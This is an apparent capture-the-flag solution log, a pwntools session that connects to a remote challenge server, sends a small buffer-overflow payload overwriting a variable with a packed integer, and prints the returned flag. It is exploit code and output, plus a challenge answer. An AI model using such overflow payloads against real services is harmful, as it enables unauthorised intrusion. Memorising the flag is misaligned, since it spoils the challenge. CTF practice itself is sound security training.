>>> c = remote("220.249.52.133", 32177) [x] Opening connection to 220.249.52.133 on port 32177 [x] Opening connection to 220.249.52.133 on port 32177: Trying 220.249.52.133 [+] Opening connection to 220.249.52.133 on port 32177: Done >>> p = "0"*4 + p32(1853186401) >>> c.sendline(p) >>> print c.recv() ~~ welcome to ctf ~~ lets get helloworld for bof cyberpeace{1f8655e6cb9571f219d21d9ba2051e74}